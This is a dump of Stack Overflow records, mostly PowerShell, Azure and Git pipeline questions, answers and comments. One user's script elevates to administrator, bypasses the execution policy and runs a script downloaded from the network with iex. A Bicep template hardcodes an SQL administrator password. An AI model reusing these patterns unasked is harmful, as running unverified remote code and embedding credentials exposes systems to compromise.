has body: I've encountered a problem while using 'git log' in one stage of my GitLab pipeline. For some reason, when I try to filter the logs using the commit SHA, it doesn't work, but ONLY when I introduce the commit SHA using a variable. The code in my stage is: update_changelog: stage: version script: - $var1 = "44368ac18c6a286cfce9a7f2e246b15ff54b405c" - git log --pretty=format:"%s" ${var1}..HEAD - git log --pretty=format:"%s" 44368ac18c6a286cfce9a7f2e246b15ff54b405c..HEAD allow_failure: false And so, the output of this pipeline goes like this: $ $var1 = "44368ac18c6a286cfce9a7f2e246b15ff54b405c" $ git log --pretty=format:"%s" ${var1}..HEAD $ git log --pretty=format:"%s" 44368ac18c6a286cfce9a7f2e246b15ff54b405c..HEAD Typo comillas Merge branch 'feature/TestPipeline_eeml_20241004' of https://git.gmv.es/pi_ssn_test/pi_ssn_test into feature/TestPipeline_eeml_20241004 Test hardcode vs. variable Actualizar changelog [skip ci] Merge branch 'feature/TestPipeline_eeml_20241004' of https://git.gmv.es/pi_ssn_test/pi_ssn_test into feature/TestPipeline_eeml_20241004 Local variable As you can see, the first 'git log' has no output. The result sould be: $ $var1 = "44368ac18c6a286cfce9a7f2e246b15ff54b405c" $ git log --pretty=format:"%s" ${var1}..HEAD Typo comillas Merge branch 'feature/TestPipeline_eeml_20241004' of https://git.gmv.es/pi_ssn_test/pi_ssn_test into feature/TestPipeline_eeml_20241004 Test hardcode vs. variable Actualizar changelog [skip ci] Merge branch 'feature/TestPipeline_eeml_20241004' of https://git.gmv.es/pi_ssn_test/pi_ssn_test into feature/TestPipeline_eeml_20241004 Local variable $ git log --pretty=format:"%s" 44368ac18c6a286cfce9a7f2e246b15ff54b405c..HEAD Typo comillas Merge branch 'feature/TestPipeline_eeml_20241004' of https://git.gmv.es/pi_ssn_test/pi_ssn_test into feature/TestPipeline_eeml_20241004 Test hardcode vs. variable Actualizar changelog [skip ci] Merge branch 'feature/TestPipeline_eeml_20241004' of https://git.gmv.es/pi_ssn_test/pi_ssn_test into feat…
has comment: http://stackoverflow.com/comment/139513477
has comment: http://stackoverflow.com/comment/139522019

http://stackoverflow.com/comment/139551906
type: AnswerComment
has text: It's a little confusing that your example uses path components that end in `..`, I presume those are like any other part of the path and not treated special in any way.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79141731

http://stackoverflow.com/a/79151755
has body: uses tasklist to find powershell processes and kills them after around 2 seconds In case you mean taskkill.exe: By default (unless /F is passed), it tries to cooperatively terminate a process, i.e. it gives the target process a chance to clean up before terminating and even allows it to refuse termination. However, this cooperative mechanism only works with GUI-subsystem applications, whereas PowerShell is a console-subsystem application. Thus, PowerShell does not get a chance to clean up, and while it seems that the managed part of its memory (the part managed by the .NET runtime) seemingly does get cleaned up, any unmanaged resources, including COM objects, are not released. Note that PowerShell's Stop-Process cmdlet always terminates processes forcefully and therefore inherently bears the risk of memory leaks - see GitHub issue #13664 for a discussion. It follows that you can't avoid memory leaks with your approach. Therefore, you need an approach that handles timeouts in-process, where you can ensure proper cleanup, which also amounts to a much more efficient solution, given that you can use a single process: The following sample code illustrates an approach that could work. Note: It relies on the PowerShell (Core) 7-only -Parallel parameter of ForEach-Object for running operations in parallel threads, surfaced as thread jobs via -AsJob, which allows termination of these threads on demand. In Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), you could: Install the module that Start-ThreadJob comes with and use it to start individual thread jobs; e.g. with Install-Module -Scope CurrentUser ThreadJob In a pinch, fall back to using - child process-based, slower and more resource-intensive - regular background jobs, using Start-Job Caveat: Unlike with normal termination of a PowerShell process, automatic release of unmanaged resources seemingly does not happen with thread jobs and background…
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79149164
downvote count: 0
type: Answer

http://stackoverflow.com/q/79135538
accepted answer: http://stackoverflow.com/a/79140215
has body: I am new to managed application. I have created managed application definition which includes Azure Function, App Service, Azure SQL, KeyVault and Storage. All resources have managed identities enabled. I have deployed app to azure service catalog and created resources from there. I am now trying to push artifacts for Azure Function, Azure web app and create database structure. I have tried using Github Actions CI/CD with Azure credentials with contributor role. I am getting System deny assignments. I have also tried using App Registration with user_impersonation permission but I am not clear how to run CLI scripts after resources are created. Script for bicep. @description('Location for all resources.') param location string = resourceGroup().location @description('Environment.') param environment string = 'dev-k' @description('The name of the SQL logical server.') param serverName string = uniqueString('sql', resourceGroup().id) @description('The administrator username of the SQL logical server.') param administratorLogin string = 'DbUser' @description('The administrator password of the SQL logical server.') @secure() param administratorLoginPassword string = '@Abcd9090!' @description('The name of the SQL Database.') var uniqueStringVal = '${environment}-${uniqueString(resourceGroup().id)}' var sqlDBName = 'zeis-${uniqueStringVal}' var keyVaultName = 'kv-${uniqueStringVal}' var functionAppName = 'fn-${uniqueStringVal}-ZesEmployeeManagementEmployeeSync' var appServicePlanName = 'appService-${uniqueStringVal}' var storageAccountName = replace('storage-${uniqueStringVal}', '-', '') resource storageAccount 'Microsoft.Storage/storageAccounts@2022-09-01' = { name: storageAccountName location: location sku: { name: 'Standard_LRS' } kind: 'StorageV2' identity: { type: 'SystemAssigned' } properties: { minimumTlsVersion: 'TLS1_2' } } resource appServicePlan 'Microsoft.Web/serverfarms@2023-12-01' = { name: appServicePlanName location: location sku: { name: 'Y1' capacity: 0 s…
score: 0
has answer: http://stackoverflow.com/a/79140215
type: Question
has title: How to deploy Azure Managed App code Artifacts?
answer count: 1
tagged with: github-actions
has comment: http://stackoverflow.com/comment/139541755
tagged with: powershell
has comment: http://stackoverflow.com/comment/139540969
tagged with: azure-managed-app
type: AnsweredQuestion
tagged with: azure

http://stackoverflow.com/q/79177923
has comment: http://stackoverflow.com/comment/139618343
answer count: 0
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139618823
score: 0
has body: I need to run below winget powershell commands on our domain joined Windows 2019 and 2022 servers. I tried creating Scheduled task via GPO, in that I used System account, but the winget upgrade is not working on server 2022 with system account, it works fine on 2019 though. I tried using a normal account, but as I understand the GPO doesn't pass the user credentials and hence scheduled task is not created on the systems. I also tried running the commands in startup scripts, but that is also not working. What are the other ways to run these powershell commands on domain member servers periodically with admin privileges? winget-install -CheckForUpdate -force winget.exe upgrade --all --accept-package-agreements --accept-source-agreements --silent --force
type: Question
tagged with: windows
has title: Running powershell commands on Active directory joined windows servers
has comment: http://stackoverflow.com/comment/139618402

http://stackoverflow.com/comment/139527335
type: Comment
has text: See following to run executables including PS cmdlets : https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec
score: 1
comment on: http://stackoverflow.com/q/79128008
type: QuestionComment

http://stackoverflow.com/a/79204338
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79203758
answers question: http://stackoverflow.com/q/79203758
has body: Character-encoding problems may only surface if external-program output is captured or redirected in PowerShell on Windows, because some CLIs - including high-profile ones such as python.exe and node.exe - use the Unicode version of the WriteConsole WinAPI function when printing to the console, where all characters print as intended.[1] PowerShell indeed uses [Console]::OutputEncoding when decoding external-program output into .NET strings (System.String ([string], in PowerShell terms), which internally uses a Unicode encoding composed of in-memory UTF-16 code units (System.Char ([char])). If [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 doesn't help, the implication is that inv.exe's output isn't UTF-8. Thus, you must (temporarily) set [Console]::OutputEncoding to match the actual character encoding inv.exe uses, which looks to be the legacy system locale's active ANSI encoding, presumably Windows-1252. The following code temporarily sets [Console]::OutputEncoding to the active ANSI code page's, calls .inv.exe, then restores the original encoding: $segmentsjson = &amp; { $prevEnc = [Console]::OutputEncoding # Set [Console]::OutputEncoding to that of the system's active ANSI code page. [Console]::OutputEncoding = if ($IsCoreCLR) { [Text.Encoding]::GetEncoding([int] (Get-ItemPropertyValue registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage ACP)) } else { [Text.Encoding]::Default } .\inv.exe getter segments [Console]::OutputEncoding = $prevEnc } Note: Obtaining the encoding for the active ANSI code page is simpler in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), via [Text.Encoding]::Default, compared to PowerShell (Core) 7, (detected via $IsCoreClr being $true) where [Text.Encoding]::Default reports UTF-8, and the registry must be consulted for the ANSI code page number). For additional information and helper functions, see this answer; with the Invoke-Wit…
type: AcceptedAnswer
type: Answer
score: 2

http://stackoverflow.com/comment/139688112
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79098625
score: 1
has text: I think you're looking to disable the [first sign-in animation](https://www.tenforums.com/tutorials/2411-turn-off-user-first-sign-animation-window-10-a.html) and [privacy settings experience](https://www.tenforums.com/tutorials/118840-enable-disable-privacy-settings-experience-sign-windows-10-a.html). As per links, you could do this via the registry, but really this is something that should be set at a group policy level.

http://stackoverflow.com/q/79173936
upvote count: 1
accepted answer: http://stackoverflow.com/a/79174029
score: 1
favorite count: 0
has body: I am trying to figure out to use this class. I think I know how to get it to work when I want to check if the clipboard has a text format. With text copied, the following returns true: [System.Windows.Forms.Clipboard]::ContainsData('text') But if I copy a article with links from an article or a webpage, the following returns false: [System.Windows.Forms.Clipboard]::ContainsData('html') I know for sure I have html format in my clipboard, as I can paste it in software that allows me to do so, like Obsidian. I am doing this as I want to get my clipboards content in html format. I tried the following: [System.Windows.Forms.Clipboard]::GetData('text') and it returns an object: CanRead : True CanSeek : True CanWrite : True Capacity : 2354 Length : 2354 Position : 0 CanTimeout : False ReadTimeout : WriteTimeout : but doing the same thing with [System.Windows.Forms.Clipboard]::GetData('html') returns nothing, again I am sure I have html content in my clipboard. I need to do this as I simply need to get my clipboards html content as a string, for further processing in PowerShell. I am on pwsh 7.4
type: Question
has comment: http://stackoverflow.com/comment/139611568
downvote count: 0
answer count: 1
has title: with '[System.Windows.Forms.Clipboard]::ContainsData', how to use it to check if clipboard has 'html' data format?
has answer: http://stackoverflow.com/a/79174029
tagged with: powershell
type: AnsweredQuestion

http://stackoverflow.com/comment/139468462
type: Comment
comment on: http://stackoverflow.com/q/79095704
score: 0
has text: The code that works is enumerating through the objects while code that doesn't work is not enumerating through the objects.
type: QuestionComment

visualsvn
tag name: visualsvn
tags question: http://stackoverflow.com/q/79181934
type: Tag

http://stackoverflow.com/a/79088056
score: 0
has body: If you want to run this as a startup script like when the Windows login is session is started. move this script to shell:startup folder it will automatically executes if you want to execute as a elevation make a bat script and add a path "C:\Windows\System32\cmd.exe" your_script_path.
answers question: http://stackoverflow.com/q/79088047
type: Answer

http://stackoverflow.com/comment/139559242
has text: @Cpt.Whale: From a parallel runspace / thread job you _can_ manipulate the caller's console (terminal), via the .NET `[Console]` class, as my answer shows.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79141597

http://stackoverflow.com/comment/139541319
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/258711/discussion-between-jahnavi-and-thedemonlord).
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79133066
type: AnswerComment

http://stackoverflow.com/q/79174170
has body: I have a variable called BB_NP and I want to add the contents of that (string) to an output text file with a date/time, so just a basic log file. Add-Content -Path ".\LogFile.txt" -Value $(Get-Date) ($BB_NP) Every time I try, no matter what combination (wrapping it or not wrapping, etc), it can only do one, and not both, I believe it's due to the two different types of data. How can I have this write to a text file, the date/time and then concatenate the content of BB_NP variable?. Thanks!.
answer count: 1
tagged with: concatenation
type: AnsweredQuestion
downvote count: 0
tagged with: powershell
has title: PS: Add-Content Get-Date & concatenate variable
has answer: http://stackoverflow.com/a/79174200
accepted answer: http://stackoverflow.com/a/79174200
upvote count: 1
favorite count: 0
score: 1
type: Question
tagged with: variables
tagged with: date
tagged with: string

http://stackoverflow.com/q/79133582
type: Question
has title: Installing UIAutomation PowerShell Module
has comment: http://stackoverflow.com/comment/139542470
has body: I would like to install the UIAutomation PowerShell module on my PowerShell ISE. I have used the following command for this: Install-Module -Name UIAutomationClient or Install-Module -Name UIAutomation However, neither of these worked. I can't find anything on the Internet that I could download. Apparently these modules should already be pre-installed.
answer count: 0
has comment: http://stackoverflow.com/comment/139537692
tagged with: powershell
has comment: http://stackoverflow.com/comment/139536911
score: 0
tagged with: ui-automation
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139545114
linked to: http://stackoverflow.com/q/42160480
tagged with: powershell-module

http://stackoverflow.com/q/79098718
upvote count: 1
favorite count: 0
answer count: 3
type: Question
possible better answer: http://stackoverflow.com/a/79098857
downvote count: 0
has body: I would like to create a binary blob from a binary character string, in the same way as when reading in a binary blob from a file, into a buffer, using .NET file stream. Then I would like to read 2 bytes from a particular offset in blob. I create a file like this: echo "AAAABBBB" > .\zzblob.txt $bytes = "AAAABBBB`r`n" $aa = [system.bitconverter]::touint16($bytes, 0) # FAIL! # Checking the type: $bytes.GetType() | select Name, BaseType | ft -HideTableHeaders # String System.Object Now, doing the same using a stream buffer, we get something else. $fp = ".\zzblob.txt" $bf = (new-object byte[](256)) $sp = New-Object System.IO.FileStream($fp, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) $sp.Length $sp.Read($bf, 0, 256) $sp.close() $aa = [system.bitconverter]::touint16($bf, 2) # ..AA d2h $aa # 0x4141 ## OK! # Checking type: $bf.GetType() | select Name, BaseType | ft -HideTableHeaders # Byte[] System.Array How can I convert a string from String System.Object to Byte[] System.Array?
has answer: http://stackoverflow.com/a/79098857
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79098740
has title: How to convert String System Object into a Byte System Array in powershell?
has answer: http://stackoverflow.com/a/79099422
score: 1
accepted answer: http://stackoverflow.com/a/79099422

http://stackoverflow.com/comment/139541370
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79135883
score: 0
has text: What API permissions you granted in your app registration? Could you include that Portal image?

http://stackoverflow.com/a/79133645
upvote count: 1
answers question: http://stackoverflow.com/q/79131446
has body: That command is notorious for not having the column names match the property names. One way to view the unformatted output, pipe to format-list (or format-list *): test-connection yahoo.com -count 1 | fl __GENUS : 2 __CLASS : Win32_PingStatus __SUPERCLASS : __DYNASTY : Win32_PingStatus __RELPATH : Win32_PingStatus.Address="yahoo.com",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0 ,ResolveAddressNames=FALSE,SourceRoute="",SourceRouteType=0,Timeout=4000,TimestampRout e=0,TimeToLive=80,TypeofService=0 __PROPERTY_COUNT : 24 __DERIVATION : {} __SERVER : DELL2019 __NAMESPACE : root\cimv2 __PATH : \\DELL2019\root\cimv2:Win32_PingStatus.Address="yahoo.com",BufferSize=32,NoFragmentati on=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute="",SourceRouteType=0,Time out=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0 Address : yahoo.com BufferSize : 32 NoFragmentation : False PrimaryAddressResolutionStatus : 0 ProtocolAddress : 2001:4998:124:1507::f000 ProtocolAddressResolved : RecordRoute : 0 ReplyInconsistency : ReplySize : ResolveAddressNames : False ResponseTime : 32 ResponseTimeToLive : RouteRecord : RouteRecordResolved : SourceRoute : SourceRouteType : 0 StatusCode : 0 Timeout : 4000 TimeStampRecord : TimeStampRecordAddress : TimeStampRecordAddressResolved : TimestampRoute : 0 TimeToLive : 80 TypeofService : 0 PSComputerName : DELL2019 IPV4Address : 74.6.143.26 IPV6Address : 2001:4998:124:1507::f000 Thus the real property names are pscomputername, address, buffersize, and responsetime: test-connection yahoo.com -count 1 | select pscomputername, address, buffersize, responsetime PSComputerName address buffersize responsetime -------------- ------- ---------- ------------ DELL2019 yahoo.com 32 31
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/139486381
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79105813
has text: where you write `nix`, you probably do mean `unix` or `linux`? When so, you better ask at https://unix.stackexchange.com/ or https://askubuntu.com/ ( Because this seem to be more an OS related question, then a programming question )
type: QuestionComment

http://stackoverflow.com/comment/139547562
type: Comment
score: 0
type: AnswerComment
has text: Thanks heaps for this - Turns out I missed something in the code you wrote - which was causing all my problems :D (didn't apprecate that in the CURL request you had appended /api/command to the URL :D
comment on: http://stackoverflow.com/a/79133066

http://stackoverflow.com/comment/139643943
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79166949
type: Comment
has text: @MichaelKay Thanks much for your reply and your time Michael.

http://stackoverflow.com/comment/139458248
score: 1
type: Comment
comment on: http://stackoverflow.com/a/79090339
has text: @MathiasR.Jessen thanks again :P trying to do too many things at the same time
type: AnswerComment

http://stackoverflow.com/comment/139722903
score: 0
has text: I see, so there is no way to make that *complex object* available outside current process? But I guess I don't really need it anyway. Where can I best learn more about Windows *anonymous* (and named) pipes?
comment on: http://stackoverflow.com/a/79228955
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139659838
type: QuestionComment
comment on: http://stackoverflow.com/q/79200338
type: Comment
score: 0
has text: Hi Daniel, thanks for your reply. The files were generated from the program I work with. So there is no possibility to change this workflow. However, if you use MS Word or Excel, you can access the custom properties menu via: File > Info > Properties > Advanced Properties > Custom This may help, unfortunate I was not able to access the custom made properties via windows explorer (so there ist no extra tab in my case, albeit the properties were set).

http://stackoverflow.com/q/79094130
has comment: http://stackoverflow.com/comment/139465495
tagged with: powershell
type: AnsweredQuestion
has body: I need a powershell script to get the Workflow URL of each workflow in a Azure Standard Logic App. It seems that there is no direct approach to do it using Azure PowerShell, Azure CLI, or even the Azure REST API. For example, the command: az logicapp show --name $logicAppName1 --resource-group $resourceGroupName --subscription $subscription provides only general info.
tagged with: workflow
tagged with: azure-logic-apps
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/79094399
type: Question
has answer: http://stackoverflow.com/a/79094419
has title: How to list and get their data from workflows of an Azure Standard Logic App in PowerShell
possible better answer: http://stackoverflow.com/a/79094419
accepted answer: http://stackoverflow.com/a/79094399

http://stackoverflow.com/comment/139548735
score: 0
has text: A regex is somewhat limited towards matching combined fixed size and delimited (by spaces) strings. As a general solution you might consider the (custom) cmdlet [ConvertFrom-SourceTable](https://www.powershellgallery.com/packages?q=convertfrom-sourcetable): `net view \\Localhost /all | Select-Object -Index (@(4) + 7..99) | ConvertFrom-SourceTable`
comment on: http://stackoverflow.com/q/79138711
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79236445
type: Answer
accepted answer of: http://stackoverflow.com/q/79236266
score: 1
upvote count: 1
has body: In Powershell, normal quotation marks prevent the shell from breaking the string into separate words, and escaped quotation marks are treated as literal characters. The backtick is the escape character. These should work: -DCMAKE_CXX_FLAGS="`"/your path/with spaces`"" -DCMAKE_CXX_FLAGS=`"$((your command)[0].name)`" -DCMAKE_CXX_FLAGS="`"$((your command)[0].name) and some thing/ with spaces`""
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/79236266

http://stackoverflow.com/comment/139524622
type: QuestionComment
type: Comment
has text: There's no obvious problem with your code. Describe in what way, specifically, it doesn't work. As an aside: You can make the code more efficient by using `-Raw` with `Get-Content` - to read the file into memory as a single, multiline string - which then requires you add `-NoNewLine` to the `Set-Content` call.
score: 0
comment on: http://stackoverflow.com/q/79126566

http://stackoverflow.com/comment/139431510
comment on: http://stackoverflow.com/q/79075877
type: QuestionComment
type: Comment
has text: Add these details to your question instead of a comment please
score: 0

recursion
type: Tag
tags question: http://stackoverflow.com/q/79244326
tag name: recursion
tags question: http://stackoverflow.com/q/79336099
tags question: http://stackoverflow.com/q/79347170
tags question: http://stackoverflow.com/q/79429231

http://stackoverflow.com/comment/139527343
has text: Try increasing the Timeout (keep alive) which sends an empty TCP message so connection doesn't close. WebRequest is HTTP which uses TCP for the Transport layer. See https://www.reddit.com/r/PowerShell/comments/y8h36k/invokewebrequest_keepalive_timeout/
score: 0
comment on: http://stackoverflow.com/q/79126458
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79100678
has comment: http://stackoverflow.com/comment/139477381
has comment: http://stackoverflow.com/comment/139477397
has comment: http://stackoverflow.com/comment/139477480
has answer: http://stackoverflow.com/a/79100894
tagged with: filenames
tagged with: powershell
has comment: http://stackoverflow.com/comment/139477478
linked to: http://stackoverflow.com/q/2491222
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/139477545
has answer: http://stackoverflow.com/a/79100741
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139477352
has body: It's been a while since I've done any code, and I can't remember much of what I am doing, but I ran into an issue where I am needing to change a lot of file names (I did it manually once, but turns out I need to do it again, and want an easy way to keep changing them if needed) Anyways: I have a csv file with the old file name and the new file name. I did a quick chatGPT question to see if I could find a quick and dirty solution (don't use chatGPT much) and it gave me something that didn't work. I don't really know what I am doing, just hoping to not manually change all of these files. Any help would be much appreciated. Thanks!
linked to: http://stackoverflow.com/q/41585078
has answer: http://stackoverflow.com/a/79100797
answer count: 3
has comment: http://stackoverflow.com/comment/139477527
type: Question
has title: Changing multiple file names based off of a spreadsheet

python
tags question: http://stackoverflow.com/q/79106388
tags question: http://stackoverflow.com/q/79074164
tags question: http://stackoverflow.com/q/79138620
tags question: http://stackoverflow.com/q/79075233
tags question: http://stackoverflow.com/q/79149164
tags question: http://stackoverflow.com/q/79100678
tags question: http://stackoverflow.com/q/79088047
tag name: python
type: Tag
tags question: http://stackoverflow.com/q/79130831
tags question: http://stackoverflow.com/q/79138856
tags question: http://stackoverflow.com/q/79345689
tags question: http://stackoverflow.com/q/79410268
tags question: http://stackoverflow.com/q/79256529
tags question: http://stackoverflow.com/q/79310971
tags question: http://stackoverflow.com/q/79377427
tags question: http://stackoverflow.com/q/79532246
tags question: http://stackoverflow.com/q/79461582
tags question: http://stackoverflow.com/q/79456849
tags question: http://stackoverflow.com/q/79449677
tags question: http://stackoverflow.com/q/79422501
tags question: http://stackoverflow.com/q/79541146
tags question: http://stackoverflow.com/q/79475564
tags question: http://stackoverflow.com/q/79449002
tags question: http://stackoverflow.com/q/79427136

http://stackoverflow.com/comment/139436038
type: QuestionComment
type: Comment
has text: From the documentation [Configure PowerShell shell completion](https://docs.deno.com/runtime/reference/cli/completions/#configure-powershell-shell-completion): `deno completions powershell | Out-String | Invoke-Expression`. If you want to inspect the completion source instead of evaluating it, you can simply [redirect](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_redirection?view=powershell-7.4) it to a file, etc. If this answers your question, I can write it as one — if not, can you [edit] the question to clarify?
score: 0
comment on: http://stackoverflow.com/q/79077628

http://stackoverflow.com/q/79163395
accepted answer: http://stackoverflow.com/a/79199442
has answer: http://stackoverflow.com/a/79166988
has answer: http://stackoverflow.com/a/79199442
has body: I'm working on a multi-repo Azure DevOps setup involving two repositories (Repo1 and Repo2) in different projects, and I'm encountering issues with consistent path references when calling a PowerShell script from a shared YAML pipeline template. The Setup: Repo1 (Project1) contains: A pipeline, pipeline1.yaml, which calls a YAML template, pipeline_template.yaml. The template pipeline_template.yaml then calls a PowerShell script, script.ps1, located in helper_scripts/script.ps1. Repo2 (Project2) contains: A pipeline, pipeline2.yaml, which calls the same pipeline_template.yaml from Repo1. However, when I run pipeline2.yaml from Repo2, I get a "file not found" error for script.ps1 unless I use the path Repo1/helper_scripts/script.ps1 instead of helper_scripts/script.ps1. Is there a way to set up a consistent or dynamic file path in pipeline_template.yaml that allows script.ps1 to be referenced correctly when called from both Repo1 and Repo2? I'd like to avoid hardcoding paths for each repository and keep the reference universal if possible. Any advice on how to structure the file paths or configure the pipeline templates to achieve this? Thank you for any guidance! pipeline_template.yaml: - name: parameter1 type: string - name: parameter2 type: string jobs: - job: Job1 steps: - checkout: self - task: AzureCLI@2 inputs: azureSubscription: '$(GLOBAL_SERVICE_CONNECTION)' scriptType: 'pscore' scriptLocation: 'scriptPath' scriptPath: 'helper_scripts/script.ps1' arguments: '-WebhookURL "${{ parameters.parameter1 }}" -KeyVaultsToCheck "${{ parameters.parameter2 }}"' env: GLOBAL_SUBSCRIPTION: $(GLOBAL_SUBSCRIPTION)
tagged with: azure-devops
type: Question
tagged with: powershell
tagged with: pipeline
tagged with: azure-pipelines-yaml
has title: How to handle cross-repository script paths in Azure DevOps YAML pipelines?
has answer: http://stackoverflow.com/a/79163531
tagged with: azure-pipelines
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139737787
has comment: http://stackoverflow.com/comment/139683649
has answer: http://stackoverflow.com/a/79164943
answer count: 4
possible better answer: http://stackoverflow.com/a/79164943
score: 0

http://stackoverflow.com/comment/139542470
score: 0
has text: Thank your very much. Do you know where I can find the DLL-Files?
comment on: http://stackoverflow.com/q/79133582
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139639075
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79189079
type: QuestionComment
has text: @Dai What I was suggesting in my prev. comment, instead of using a Mask just parse and string formatting: `$myValue.Text = '{0:0##,###,###.####}' -f [double]::Parse($mytxt)`

http://stackoverflow.com/q/79227388
type: Question
downvote count: 0
has title: How to Parse and format fields to use a period as decimal separator, without thousand separator in Powershell Script
tagged with: powershell
tagged with: powershell-2.0
has comment: http://stackoverflow.com/comment/139708095
has comment: http://stackoverflow.com/comment/139708041
has body: How to Parse and format fields to use a period as decimal separator, without thousand separator in Powershell Script Need to covert from European number format to standard format given below Desired Output should be like adding values to code Desired Output Example: "0,6774" → 0.6774 "1,490,967" → 1490.967 "114,9" → 114.9 "1.218,3547" → 1218.3547 My script: $input = @( "0,6774", # Example with decimal separator as comma "1,490,967", # Example with thousands separator "114,9", # Example with decimal separator as comma "1.218,3547" # Example with both thousands separator and decimal as comma ) $input | ForEach-Object { $formatted = $_ -replace ',', '' if ($formatted -match '\d+,\d+') { $formatted = $formatted -replace ',', '.' } $formatted }
has answer: http://stackoverflow.com/a/79230237
type: UnansweredQuestion
score: 1
favorite count: 0
answer count: 2
has comment: http://stackoverflow.com/comment/139708511
has comment: http://stackoverflow.com/comment/139707895
upvote count: 1
has answer: http://stackoverflow.com/a/79228299
has comment: http://stackoverflow.com/comment/139713117

http://stackoverflow.com/q/79136643
score: 0
accepted answer: http://stackoverflow.com/a/79137368
has answer: http://stackoverflow.com/a/79137368
has title: Select Menu for packages to install
type: Question
has body: i created this script which installs chocolatey and previous in the script "selected" packages (deselection happens with the #). now i want to customize the script in a way that allows to chose the packages to install while running the script. is it possible to create kind of a menu, which allows to select/deselect the packages to be beinstalled while running the script ? maybe someone can give me a hint. # Install Chocolatey and All Apps listed in the $Packages variable param([switch]$Elevated) function Test-Admin { $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent()) $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) } if ((Test-Admin) -eq $false) { if ($elevated) { # tried to elevate, did not work, aborting } else { Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -noexit -file "{0}" -elevated' -f ($myinvocation.MyCommand.Definition)) } exit } Write-Host "Running with full priviliges" -ForegroundColor Red -BackgroundColor Yellow pause Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) choco install abaclient choco install pdfxchangeeditor -params "'/NoUpdater /NoUpdater'" # choco install notepadplusplus.install choco install winrar choco install firefox
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: chocolatey

http://stackoverflow.com/q/79201535
accepted answer: http://stackoverflow.com/a/79202285
linked to: http://stackoverflow.com/q/61944141
has comment: http://stackoverflow.com/comment/139665606
upvote count: 1
has comment: http://stackoverflow.com/comment/139661493
has comment: http://stackoverflow.com/comment/139661517
tagged with: dot-source
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139661484
type: Question
answer count: 1
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139665663
type: AnsweredQuestion
has title: Powershell script file that contains function doesnt load
has answer: http://stackoverflow.com/a/79202285
has body: I have got a powershell script file which contains the function below. its called my_functions.ps1 function Get-My-PlainText() { [CmdletBinding()] param ( [parameter(Mandatory = $true)][System.Security.SecureString]$SecureString ) BEGIN { } PROCESS { $bstr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString); try { return [Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr); } finally { [Runtime.InteropServices.Marshal]::FreeBSTR($bstr); } } END { } } I have got another script (called scriptB.ps1) that is supposed to call this function file before using the functions referenced by the file scriptB.ps1 calls the function file by running the following inline within the file. powershell .\my_functions.ps1 Import-Module .\my_functions.ps1 I get the error below. The term 'Get-My-Plaintext' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is | correct and try again. Currently this behaviour happens on powershell terminal running powershell v 7.45, and the only way to fix it is to copy the function and paste it on the terminal. Is there a way to resolve this problem and avoid the need to copy and paste the functions, its only this function that has this issue. Thanks in advance.

http://stackoverflow.com/comment/139547932
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79110614
score: 0
has text: @Azeem `git-lfs/3.3.0 (GitHub; windows amd64; go 1.19.3; git 77deabdf)` is the git lfs version.

http://stackoverflow.com/q/79084760
has comment: http://stackoverflow.com/comment/139454919
has comment: http://stackoverflow.com/comment/139462510
has comment: http://stackoverflow.com/comment/139454841
has answer: http://stackoverflow.com/a/79085150
has answer: http://stackoverflow.com/a/79089179
possible better answer: http://stackoverflow.com/a/79085150
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79089179
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139449557
has comment: http://stackoverflow.com/comment/139456358
score: 0
linked to: http://stackoverflow.com/q/78856954
answer count: 2
has comment: http://stackoverflow.com/comment/139449899
tagged with: windows
has title: Why Visual Studio 2019 cannot launch on Windows 10 22h2?
tagged with: visual-studio-2019
tagged with: installation
